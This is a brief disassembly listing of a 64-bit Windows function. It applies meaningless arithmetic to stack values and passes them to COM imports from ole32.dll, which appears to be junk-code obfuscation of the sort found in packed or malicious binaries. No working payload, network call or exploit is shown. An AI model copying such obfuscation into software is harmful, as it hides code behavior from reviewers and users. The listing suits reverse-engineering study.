mov ecx, dword [rsp + 0x56fc]
call fcn.14015c040
jmp 0x14015bded
mov eax, dword [rsp + 0x56fc]
add eax, 0x886b
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x56fc]
sub eax, 0x925a
mov dword [rsp + 0x56fc], eax
lea rax, [rsp + 0x56fc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x4f
lea r8, [rsp + 0x56fc]
lea rdx, [rsp + 0x91a0]
lea rcx, [rsp + 0x56fc]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x570c], eax
mov eax, dword [0x1401a8370]
add eax, 0x5804
mov dword [0x1401a8370], eax
mov eax, dword [rsp + 0x56fc]
sub eax, 0xe5a
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x56fc]
and eax, 0x79b4
mov dword [rsp + 0x56fc], eax
mov rcx, qword [rsp + 0x18538]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x5778], eax
mov r8, qword [rsp + 0x91a0]
mov edx, dword [0x1401a8370]
mov ecx, dword [rsp + 0x56fc]
call fcn.14015c040
mov edx, dword [rsp + 0x56fc]
mov rcx, qword [rsp + 0x91a0]
call fcn.14015c130
mov eax, dword [rsp + 0x748c]
mov rcx, qword [rsp + 0x1bf80]
xor rcx, rsp
call fcn.14015c5f0
add rsp, 0x1bf98
ret